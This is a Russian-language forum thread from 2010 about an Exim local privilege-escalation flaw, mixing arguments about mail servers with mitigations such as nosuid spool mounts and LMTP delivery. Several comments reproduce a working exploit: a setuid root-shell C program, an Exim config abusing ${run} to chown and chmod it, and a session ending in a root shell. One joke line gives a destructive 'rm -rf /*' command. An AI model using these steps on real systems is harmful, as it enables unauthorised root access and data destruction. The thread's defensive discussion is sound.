1.1, б.б. (?), 17:47, 09/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +4 +/– |
Больше интересен не эксплоит, а то, каким макаром в дебиане, из-под обычного пользователя так запросто рута дают?
На кой тогда его не под рутом запускают, если так запросто рута получить???
| |
|
2.3, zmey (?), 17:54, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
читаем между строк:
"был сформирован файл "setuid" c кодом, призванным предоставить shell-доступ,"
| |
|
3.7, non anon (?), 18:32, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
Насколько я понял, на этапе инициализации он все равно от рута работает, что и позволяет (через специальный конфиг) подарить зловреду suid-бит.
| |
|
|
5.26, гы (?), 21:10, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
конфиг читается от рута, в конфиге указано run { chmod 4755 ... } - троян делается суидным именно рутом. но вот кто же даст писать непривилегированному юзеру писать в /etc/exim/e.conf ???
| |
|
|
7.35, txt (??), 23:58, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
по дефолту exim читает из /var/spool/exim4/ конфиги?
| |
|
|
|
|
|
2.59, tux2002 (ok), 12:10, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> На кой тогда его не под рутом запускают, если так запросто рута
> получить???
Бинарник exim setuid ный от рута. При локальной доставке письма начальный процесс рутовый и делает setuid setgid до пользователя получателя. так во многих дистрибутивах. В документации непривилегированный вариант запуска назван "экзотическим" но возможен.
Вот моя заметка на эту тему http://www.opennet.me/tips/2452_mail_exim.shtml, только сейчас у меня немного подругому.
| |
|
1.2, Viliar (ok), 17:52, 09/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +8 +/– |
Убиться. Кто-то тут давеча рассказывал, что exim был чуть ли не переписан и теперь там с безопасностью все пучком... Те, кто опускал усиленно postfix :-)
| |
|
2.10, SubGun (??), 18:50, 09/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
Пока систему разрабатывает человек, в ней никогда не может быть 100%-ой безопасности.
| |
|
|
|
5.109, Viliar (ok), 17:39, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> На тот момент он был прав, разве не так ?
В чем прав? В том, что buffer owerflow судя по changelog фиксять сравнительно регулярно до сих пор? :-) Отвечая на ваш вопрос - нет, в том споре не прав.
| |
|
6.112, SubGun (??), 00:48, 12/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
Ну а я считаю, что он прав. Насчет криворукости того админа тоже. Не сочтите за флуд, но у меня почтовик(Exim) обслуживает 15 доменов и рассылку(почти 400 000 писем в день). Ни разу за 5 лет не было нареканий по поводу его работы. О "buffer overflow" вообще только в сказках слышал.
| |
|
7.126, Viliar (ok), 18:30, 23/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> Ну а я считаю, что он прав. Насчет криворукости того админа тоже.
> Не сочтите за флуд, но у меня почтовик(Exim) обслуживает 15 доменов
> и рассылку(почти 400 000 писем в день). Ни разу за 5
> лет не было нареканий по поводу его работы. О "buffer overflow"
> вообще только в сказках слышал.
Очевидно, что Вам
a) Повезло
b) Changelog'и Вы ну совсем не читаете.
| |
|
|
|
|
|
|
|
2.5, axe (??), 18:20, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
я тоже что то не понял. у них он перманентно включен что ли? =)
| |
|
3.9, xeon (??), 18:42, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
Угу, сидят фтыкают в вывод с -X, мониторят взломы:)
| |
3.13, pavlinux (ok), 18:52, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> я тоже что то не понял. у них он перманентно включен что ли? =)
Видимо не первый случай :)
| |
3.60, PereresusNeVlezaetBuggy (ok), 12:16, 10/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
> я тоже что то не понял. у них он перманентно включен что
> ли? =)
Ну вот у меня pflogd на некоторых серверах сохраняет весь интересный траффик за несколько дней. На всякий пожарный. А что, современные винты позволяют. Система со всеми примочками укладывается в пару гигабайт, остальное место забиваем рабочими данными, а также такими вот служебными.
| |
|
4.71, Аноним (-), 15:26, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>> я тоже что то не понял. у них он перманентно включен что
>> ли? =)
> Ну вот у меня pflogd на некоторых серверах сохраняет весь интересный траффик
> за несколько дней. На всякий пожарный. А что, современные винты позволяют.
> Система со всеми примочками укладывается в пару гигабайт, остальное место забиваем
> рабочими данными, а также такими вот служебными.
Круто, молодец.
| |
|
|
|
1.6, dimss (?), 18:27, 09/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
Ключевой момент:
create another file e.conf with following content:
spool_directory = ${run{/bin/chown
root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}}
the he runs:
exim -Ce.conf -q
| |
|
2.8, pavlinux (ok), 18:35, 09/12/2010 [^] [^^] [^^^] [ответить]
| –1 +/– |
pavel@suse64:/tmp> > test
pavel@suse64:/tmp> chown root:root test
chown: изменение владельца 'test': Операция не позволяется
Значить Ехим должен был от рута работать. Тогда ничего удивительного нет,
если сервак запущенный от рута считывает пользовательские конфиги и есть команда ${run}
Можно было бы и ${run {su -c "rm -rf /*"}}
| |
|
3.11, Аноним (-), 18:51, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
Если я правильно понимаю, он запускается с правами рута, а потом сбрасывает привилегии. И косяк в том, что конфиг парсится до сброса привилегий, при этом ещё и выполняет shell-команды
| |
|
4.18, б.б. (?), 20:12, 09/12/2010 [^] [^^] [^^^] [ответить]
| +15 +/– |
> Если я правильно понимаю, он запускается с правами рута, а потом сбрасывает привилегии. И косяк в том, что конфиг парсится до сброса привилегий, при этом ещё и выполняет shell-команды
Зимело.
Одинокий парсер бродил по конфигу Exim. Команды в exim были рыхлые и неровные, как первый снег, из-за комментариев и тут и там торчали shell-команды, и парсер всякий раз спотыкался об них, и ворча, начинал их исполнять. И вот он нашёл её, команду, которую бросился исполнять прямо от рута.
И в воздухе невообразимо запахло виндой.
| |
4.21, Sw00p aka Jerom (?), 20:21, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
какой парсинг ?
что хекеры блин ждут момента када админ перезапустит экзим ?
да на момент парсинга конфига сокет даже не открывается
| |
|
5.73, Аноним (-), 15:36, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> какой парсинг ?
> что хекеры блин ждут момента када админ перезапустит экзим ?
> да на момент парсинга конфига сокет даже не открывается
а sbin у exim-а зачем стоит?
| |
|
6.74, Аноним (-), 15:36, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>> какой парсинг ?
>> что хекеры блин ждут момента када админ перезапустит экзим ?
>> да на момент парсинга конфига сокет даже не открывается
> а sbin у exim-а зачем стоит?
Пардон, tr/sbin/suid/
| |
|
|
|
|
|
1.17, Wormik (ok), 20:09, 09/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Кто-то нашел уязвимость, взломал чей-то сервер, и когда взламывали, подробности уязвимости сумели обнародовать?
Чей сервер взломали? Когда и кто?
| |
|
2.19, б.б. (?), 20:12, 09/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
> Кто-то нашел уязвимость, взломал чей-то сервер, и когда взламывали, подробности уязвимости
> сумели обнародовать?
> Чей сервер взломали? Когда и кто?
Сначала патч, потом твоё любопытство.
| |
|
1.27, pvg (?), 21:59, 09/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
делаем от себя простого юзера
[pvg@c]$ id
uid=231(pvg) gid=500(pvg) группы=500(pvg)
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, 0);
execl("/bin/sh", "sh", 0);
}
gcc -o setuid setuid.c
cat c.conf
[pvg@c]$ cat c.conf
spool_directory = ${run{/bin/chown \
root:root /home/pvg/c/setuid}}${run{/bin/chmod 4755 /home/pvg/c/setuid}}
[pvg@c]$ /usr/sbin/exim -Cc.conf -q
2010-12-09 21:44:50 Failed to create directory "": No such file or directory
[pvg@c]$ ls -l
итого 20
-rw-rw-r-- 1 pvg pvg 110 Дек 9 21:39 c.conf
-rwsr-xr-x 1 pvg pvg 11915 Дек 9 21:40 setuid
-rw-rw-r-- 1 pvg pvg 103 Дек 9 21:36 setuid.c
ииии получаем.....
а где root????.... бит s вижу, а рута нет
где ошибка??????????
| |
|
2.28, Аноним (-), 22:04, 09/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> [pvg@c]$ /usr/sbin/exim -Cc.conf -q
.
Запускать нужно от пользователя до которого exim сбрасывает привилегии.
| |
|
3.29, pvg (?), 22:32, 09/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
>after that attacker gets shell with id of user Debian-exim and cwd
>in /var/spool/exim4
?then it put file there file setuid with trivial execution of root shell:
>[оверквотинг удален]
>execl("/bin/sh", "sh", NULL);
>}
>
>and create another file e.conf with following content:
>spool_directory = ${run{/bin/chown
>root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4>/setuid}}
>the he runs:
>exim -Ce.conf -q
>and gets suid bit on /var/spool/exim4/setuid
>everything else is trivial.
suid да но от exim , а не от root
я
| |
|
|
|
|
3.39, Одмин (?), 03:49, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
Спасибо. Пока самое адекватное решение от скрипт-киддис и ботов. Судя по mailing list девелоперов понесло не совсем в ту степь и вообще у них траблы с воспроизведением проблемы.
| |
|
4.40, утер (?), 05:35, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
А еще это решение отлично помогает от спама - 100% срезается
| |
|
|
|
1.32, Аноним (-), 22:59, 09/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
When this option is used by a caller other than root or the Exim user, and the list is different from
the compiled-in list, Exim gives up its root privilege immediately, and runs with the real and effective
uid and gid set to those of the caller. However, if ALT_CONFIG_ROOT_ONLY is defined in Local/Makefile,
root privilege is retained for -C only if the caller of Exim is root.
Похоже в Debian не используется ALT_CONFIG_ROOT_ONLY...
| |
1.33, pvg (?), 23:22, 09/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
и так
bash-3.2$ uname -a
Linux hhh.ddd.xxxx 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
bash-3.2$ cat suid.c
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, 0);
execl("/bin/sh", "sh", 0);
}
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim 118 Дек 9 23:12 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwxr-xr-x 1 exim exim 7158 Дек 9 23:08 suid
-rw-r--r-- 1 exim exim 104 Дек 9 23:05 suid.c
bash-3.2$ id
uid=93(exim) gid=93(exim) группы=12(mail),93(exim)
bash-3.2$ cat c.conf
spool_directory = ${run{/bin/chown \
root:root /var/spool/exim/setuid}}${run{/bin/chmod 4755 /var/spool/exim/setuid}}
bash-3.2$ exim -C c.conf -q
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim 118 Дек 9 23:12 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwxr-xr-x 1 exim exim 7158 Дек 9 23:08 suid
-rw-r--r-- 1 exim exim 104 Дек 9 23:05 suid.c
bash-3.2$ pwd
/var/spool/exim
bash-3.2$
---------------------------
где suid root ?
может и остальное тоже ?
| |
1.34, pvg (?), 23:46, 09/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
Извините, ошибся, у меня suid, в конфе setuid
к сожалению в el5 работает, а в RH9 НЕТ
bash-3.2$ id
uid=93(exim) gid=93(exim) группы=12(mail),93(exim)
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim 114 Дек 9 23:38 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwxr-xr-x 1 exim exim 7158 Дек 9 23:43 suid
-rw-r--r-- 1 exim exim 104 Дек 9 23:05 suid.c
bash-3.2$ exim -C c.conf -q
bash-3.2$ cat c.conf
spool_directory = ${run{/bin/chown \
root:root /var/spool/exim/suid}}${run{/bin/chmod 4755 /var/spool/exim/suid}}
bash-3.2$ ls -l
итого 40
-rw-r--r-- 1 exim exim 114 Дек 9 23:38 c.conf
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 db
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 input
drwxr-x--- 2 exim exim 4096 Июл 13 16:20 msglog
-rwsr-xr-x 1 root root 7158 Дек 9 23:43 suid
-rw-r--r-- 1 exim exim 104 Дек 9 23:05 suid.c
bash-3.2$ ./suid
sh-3.2# id
uid=0(root) gid=0(root)
sh-3.2#
| |
|
2.75, Аноним (-), 15:46, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> А я пока сделал так от рута
>>e.conf && chmod 400 e.conf
и как оно поможет?
| |
|
1.42, csup (?), 08:06, 10/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| –3 +/– |
1. Тем у кого стоит exim - Немедленно снести.
2. Найти знакомых-умников, кто с пеной доказывал что exim лучше и безопаснее postfix и повозить рожей по столу.
Go.
| |
|
2.44, патрон (?), 08:21, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
готово. я сделал.
спасибо за подробную инструкцию-наловил лулзов с любителей exim.
| |
2.69, IGX (?), 13:53, 10/12/2010 [^] [^^] [^^^] [ответить]
| +2 +/– |
Лучше не использовать компы вообще - так уж точно безопасно... Если, конечно, кирпич с неба не свалится.
| |
|
1.43, Аноним (-), 08:16, 10/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
да просто отменить suid в каталоге спула exim через моунт,
обычно это так делается, а то занервничали :)
| |
|
2.45, Бару (?), 08:38, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
... а если спул exim-а находится на разделе на который нет возможности поставить nosuid . Как в этом случае быть? (не удаляя exim ^)
| |
|
3.46, утер (?), 08:59, 10/12/2010 [^] [^^] [^^^] [ответить]
| +4 +/– |
dd if=/dev/zero of=/var/exim.file bs=1M count=1024
mkfs.ext3 -m0 /var/exim.file
mount -o loop,nosuid /var/exim.file /var/spool/exim
не ?
| |
3.47, Аноним (-), 09:14, 10/12/2010 [^] [^^] [^^^] [ответить]
| –1 +/– |
а это уже проблема безопасности, не надо ложить яйца в одну корзину :)
| |
|
4.48, lissyara (?), 09:17, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
чё за истерия...
я ещё в 18:00 вчерась у себя на всех сделал, и спал спокойно
srv0# mount|grep spool
tmpfs on /var/spool/exim (tmpfs, local, nosuid)
tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid)
srv0#
| |
|
5.52, Аноним (-), 11:07, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
О, великий и ужасный lissyara, низкий поклон уважаемому покорителю BSD. )
Дайте сцылку, плз, чем tmpfs прекрасней tmpmfs?
P.S. Сорри за оффтоп.
| |
5.81, samm (ok), 18:20, 10/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
> srv0# mount|grep spool
> tmpfs on /var/spool/exim (tmpfs, local, nosuid)
> tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid)
> srv0#
tmpfs на спуле? Т.е. при внезапном power failure вся неушедшая почта уходит в девнул? странный повод для гордости.
| |
|
6.84, lissyara (?), 18:53, 10/12/2010 [^] [^^] [^^^] [ответить]
| –1 +/– |
>> srv0# mount|grep spool
>> tmpfs on /var/spool/exim (tmpfs, local, nosuid)
>> tmpfs on /home/jails/mx.lissyara.su/var/spool/exim (tmpfs, local, nosuid)
>> srv0#
> tmpfs на спуле? Т.е. при внезапном power failure вся неушедшая почта уходит
> в девнул? странный повод для гордости.
ну, не все же сервера дома под столом держат, или на железе кривом, что в панику падает на ровных местах =)
бесперебойник, электроснабжение здания по первой категории, с двумя вводами от разных подстанций - у меня нет причин для беспокойства.
| |
|
7.89, samm (ok), 19:44, 10/12/2010 [^] [^^] [^^^] [ответить] | +2 +/– | Вот как меня подобное радует Вы со времен терок про proftpd совсем не изменилис... большой текст свёрнут, показать | |
|
8.95, Аноним (-), 06:03, 11/12/2010 [^] [^^] [^^^] [ответить] | +/– | Поддерживаю, чем больше парк машин, тем больше возникает странностей и тем быс... текст свёрнут, показать | |
|
|
|
|
|
3.51, zazik (ok), 10:13, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> ... а если спул exim-а находится на разделе на который нет возможности
> поставить nosuid . Как в этом случае быть? (не удаляя exim
> ^)
Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и с программами - зло.
| |
|
4.76, Аноним (-), 15:49, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>> ... а если спул exim-а находится на разделе на который нет возможности
>> поставить nosuid . Как в этом случае быть? (не удаляя exim
>> ^)
> Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и
> с программами - зло.
хе, а тут порой появляются умники, которые с пеной у рта доказывают, что один раздел под все - это правильно.
| |
|
5.78, PereresusNeVlezaetBuggy (ok), 16:22, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>>> ... а если спул exim-а находится на разделе на который нет возможности
>>> поставить nosuid . Как в этом случае быть? (не удаляя exim
>>> ^)
>> Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и
>> с программами - зло.
> хе, а тут порой появляются умники, которые с пеной у рта доказывают,
> что один раздел под все - это правильно.
Ну и пусть доказывают. Сразу видно, что они ничего серьёзнее своего десктопа с игрушками и крякнутым Фотошопом никогда не админили.
| |
5.79, zazik (ok), 17:45, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> хе, а тут порой появляются умники, которые с пеной у рта доказывают,
> что один раздел под все - это правильно.
Если они из контор по восстановлению данных и поднятию упавших систем, то вполне себе умники. Бизнес, ничего личного.
| |
5.113, SubGun (??), 00:57, 12/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
Иногда лучше все вместе, иногда отдельно. А иногда вообще на отдельном диске. Зависит от обстоятельств.
| |
|
6.116, zazik (ok), 09:21, 13/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> Иногда лучше все вместе, иногда отдельно. А иногда вообще на отдельном диске.
> Зависит от обстоятельств.
Не вижу никаких доводов в пользу установки всего на один раздел.
| |
|
|
|
|
|
1.53, Аноним (-), 11:10, 10/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
FreeBSD:
# mount -t nullfs -o nosuid /var/nosuid /nosuid
# mount | grep -i nosuid
/var/nosuid on /nosuid (nullfs, local, nosuid)
# /usr/local/etc/rc.d/exim stop
# mv /var/spool/exim /nosuid/
# ln -s /nosuid/exim /var/spool/exim
# ls -lF /var/spool/exim
lrwxr-xr-x 1 root wheel 12 Dec 10 13:19 /var/spool/exim@ -> /nosuid/exim
# /usr/local/etc/rc.d/exim start
Вот и всё.
| |
|
|
3.64, poz (?), 12:42, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> Скорее
> # ln -s /var/nosuid/exim /var/spool/exim
Уверен? Точка монтирования /nosuid и через нее нужно обращаться.
| |
|
2.77, Аноним (-), 15:55, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>[оверквотинг удален]
> # mount | grep -i nosuid
> /var/nosuid on /nosuid (nullfs, local, nosuid)
> # /usr/local/etc/rc.d/exim stop
> # mv /var/spool/exim /nosuid/
> # ln -s /nosuid/exim /var/spool/exim
> # ls -lF /var/spool/exim
> lrwxr-xr-x 1 root wheel 12 Dec 10 13:19 /var/spool/exim@
> -> /nosuid/exim
> # /usr/local/etc/rc.d/exim start
> Вот и всё.
поставь nosuid на весь /var, и успокойся, и вообще это должно быть сделано по умолчанию.
| |
|
1.55, eugene (??), 11:47, 10/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
если нет возможности на спул поставить nosuid
как решение можно сделать так
1. сделать и настроить транспорт на lmtp (это нужно если ексим сам доставляет почту по майлбоксам под другим юзером локально)
2. снять суид с бинарника exm
например роутер такой
localuser:
driver = accept
condition = ${lookup sqlite {/etc/exim/mail.db \
SELECT userid FROM mailusers WHERE userid='$local_part@$domain' AND smtp_allow='true'}}
убираем доставку самим эксимом #transport = maildir_delivery
transport = lmtp_delivery
cannot_route_message = Unknown mail user
и в транспортах
lmtp_delivery:
driver=smtp
protocol=lmtp
port = 24
hosts=127.0.0.1
allow_localhost
return_path_add
после чего снимает suid с бинарника
| |
|
2.56, eugene (??), 11:49, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> и в транспортах
> lmtp_delivery:
> driver=smtp
> protocol=lmtp
> port = 24
> hosts=127.0.0.1
> allow_localhost
> return_path_add
> после чего снимаем suid с бинарника
ну и само собой нужно настроить dovecot или что там у вас на доставку по lmtp
| |
|
1.57, Az (??), 11:55, 10/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
а вот так не канает (тем, у кого var на том же разделе)?
service exim stop
mv /var/spool/exim /var/spool/exim2
mkdir /var/spool/exim
mount --bind /var/spool/exim2 /var/spool/exim -o nosuid
service exim start
Есть смысл так заворкэраундиться, простите мой хранцузский? :)
| |
|
2.58, eugene (??), 12:10, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
тоже неплохо,
но в моем способе вообще suid с бинарника убрать можно.
| |
|
3.61, Az (??), 12:17, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
попробовал убирать суид с бинарника - не может запустить cyrus-доставку, потому как она вызывается с правами пользователя cyrus. пробовал менять на пользователя exim - не может попасть в /var/spool/imap. Добавил exim в группу mail и дал права группе на /var/spool/imap - все равно не работает доставка, ругается что не может обработать aliases, правов не хватает. пришлось таки вернуть suid.
| |
|
2.85, Аноним (-), 18:54, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> mount --bind /var/spool/exim2 /var/spool/exim -o nosuid
это не работает. suid атрибут всё равно можно ставить.
| |
|
3.115, Ололо (?), 07:48, 13/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
Так ведь suid-бит лишь дает право запуска с правами владельца, а системный вызов должен перемножить атрибуты файловой системы с атрибутами файла.
Если перевести на руссский, то это означает, что suid-ный бинарник на nosuid работать не будет.
| |
|
|
|
2.65, samm (ok), 12:45, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
Вот-вот.
Я даже новость "исправил", но изменения так и не были приняты...
| |
2.66, tux2002 (ok), 13:11, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>> В популярном почтовом сервере Exim найдена
> Паникеры.
> 1) Быдловендоры всяких дебианов думают что они самые умные и им не
> надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е.
> 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396.en.html
Дело не в этом, а в архитектурном решении доставки почты в exim. В бумажной почте почтальон не прикидывается пользователем, чтобы положить письмо в почтовый ящик, для него существует щёлочка - o+w. И тут тоже должны быть права на запись в почтовый ящик например группе mail. У меня вообще exim запускается sudo -u mail exim -bd; sudo -u mail exim -qq10m (с CAP_NET_BIND_SERVICE) и никаких рутовых setuid ов. Если процесс не имеет начальных привелегий рут, ломать сложнее.
| |
2.67, Аноним (-), 13:21, 10/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
> Паникеры.
Вина целиком на разработчиках Exim, молча исправивших такую огромную дыру. В примечании к релизу 4.70 даже намеков не было. Но судя по тексту багрепорта (http://bugs.exim.org/show_bug.cgi?id=787), об опасности этой проблемы знали, но намеренно не придали огласке.
| |
|
|
4.86, Аноним (-), 19:02, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
Потенциальное переполнение буфера и удалённый root — это разные вещи. Разработчики exim пытались скрыть факты, это очевидно.
| |
|
5.88, samm (ok), 19:27, 10/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
> Потенциальное переполнение буфера и удалённый root — это разные вещи. Разработчики
> exim пытались скрыть факты, это очевидно.
А еще они убили Лору Палмер и взорвали башни-близнецы. Те кто не в танке - прекрасно понимают, что переполнение буфера у suid процесса может в итоге дать рут. Эксплоит был типичный 0day, а фикс был помечен как теоретическая возможность использования. То, что мейнтейнер пакета спал и считал что переполнение буфера не является security issue и бекпортить фикс не нужно - проблема исключительно его и всех дебиан stable юзеров по совместительству. Либо надо обновлять версию (как в портах во фре, например), либо следить за changelogs и бекпортить подобные патчи.
| |
|
|
|
2.90, shsm (?), 20:05, 10/12/2010 [^] [^^] [^^^] [ответить]
| +1 +/– |
>> В популярном почтовом сервере Exim найдена
> Паникеры.
> 1) Быдловендоры всяких дебианов думают что они самые умные и им не
> надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е.
> 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396.en.html
> 2) Ремотный рут опять же возможен только в том-же дебиане, ибо парсят
> HeaderX
> http://www.exim.org/lurker/message/20101209.112914.68af6769.en.html
В Дебиане уже все пофикшено.
exim4 (4.69-9+lenny1) stable-security; urgency=high
* Non-maintainer upload by the Security Team.
* Fix SMTP file descriptors being leaked to processes invoked with ${run...}
* Fix memory corruption issue in string_format(). CVE-2010-4344
* Fix potential memory pool corruption issue in internal_lsearch_find().
-- Stefan Fritsch <sf@debian.org> Fri, 10 Dec 2010 13:25:07 +0100
| |
|
3.122, Аноним (-), 07:41, 15/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>[оверквотинг удален]
>> HeaderX
>> http://www.exim.org/lurker/message/20101209.112914.68af6769.en.html
> В Дебиане уже все пофикшено.
> exim4 (4.69-9+lenny1) stable-security; urgency=high
> * Non-maintainer upload by the Security Team.
> * Fix SMTP file descriptors being leaked to processes invoked
> with ${run...}
> * Fix memory corruption issue in string_format(). CVE-2010-4344
> * Fix potential memory pool corruption issue in internal_lsearch_find().
> -- Stefan Fritsch <sf@debian.org> Fri, 10 Dec 2010 13:25:07 +0100
Это должно было бы пофиксено два Exim'овскиз релиза назад, а не когда за яйца уже схватили!!!!!!!!! Обновления безопасности же наверно не так просто выходят, а?
| |
|
|
1.70, Kirill (??), 14:27, 10/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Стесьняюсь уточнить один вопрос - в заголовке сказано, что исправлено в 4.70, а в тексте новости говорится, что подвержен 4.72.
Так как же обстоит на самом деле?
| |
|
2.72, Аноним (-), 15:28, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
Там две разные дыры, в 4.70 поправлена удаленная уязвимость, а в 4.72 остается локальная фича, через которую можно поднять привилегии.
| |
|
1.82, sHaggY_caT (ok), 18:35, 10/12/2010 [ответить] [﹢﹢﹢] [ · · · ]
| –1 +/– |
Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный, как Exim.
| |
|
2.87, bers666 (?), 19:27, 10/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный,
> как Exim.
Когда в Postfix-е сделают поддержку скриптового языка и поменяют формат лога, можно будет подумать.
| |
|
3.93, sHaggY_caT (ok), 02:04, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> Когда в Postfix-е сделают поддержку скриптового языка и поменяют формат лога, можно
> будет подумать.
Имхо, любую задачу можно решить штатными средствами + через транспорты на внешние скрипты. Только эта схема далеко не всегда будет работать быстро.
А что не так с логами? Есть анализаторы, тот же postfix-pflogsumm, при этом он далеко не единственный.
| |
|
2.92, artemrts (ok), 22:28, 10/12/2010 [^] [^^] [^^^] [ответить]
| +2 +/– |
> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный,
> как Exim.
Не смешите, по поводу производительности. В Постфиксе с этим все гуд. Уступает он Эксиму только в гибкости конфигурации.
| |
|
3.94, sHaggY_caT (ok), 02:12, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
>> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный,
>> как Exim.
> Не смешите, по поводу производительности.
Я не строила _больших_ систем на Postfix или Exim, только маштаба SMB-офиса(под сотню активных ящиков). Но моим коллегой был человек, который такую систему (тысяч 40 активных доменов) строил. По крайней мере рядом с НЕ монолитным Qmail Exim выглядит гораздо более быстрым уже по моему собственному опыту эксплуатации (уже существующей) большой системы.
Это его мнение, что Exim быстрее, чем Postfix, и в данном случае, я ему склонна верить, так как уважаю его профессионализм.
Вот думаю: а может, в случае чего-то большего или среднего по маштабу, стоит использовать Exim как Smart-хост, только маршрутизирующий почту на внутренний почтовый сервер, вроде Postfix или Zimbra? Как это часто делают с Posftix или Exim для тормозного вендового Exchange? Хотя бы с точки зрения безопасности, при сохранении гибкости и производительности, эта схема должна быть более правильной (имхо), в крайнем случае, злоумышленник сможет только поспамить, и прочитать несколько писем в очереди Exim. Разумеется, Exim при этом предполагается в другом chroot/контейнере, или вообще в другой системе.
| |
|
4.101, Viliar (ok), 16:59, 11/12/2010 [^] [^^] [^^^] [ответить]
| +/– |
> Вот думаю: а может, в случае чего-то большего или среднего по маштабу,
> стоит использовать Exim как Smart-хост, только маршрутизирующий почту на внутренний...
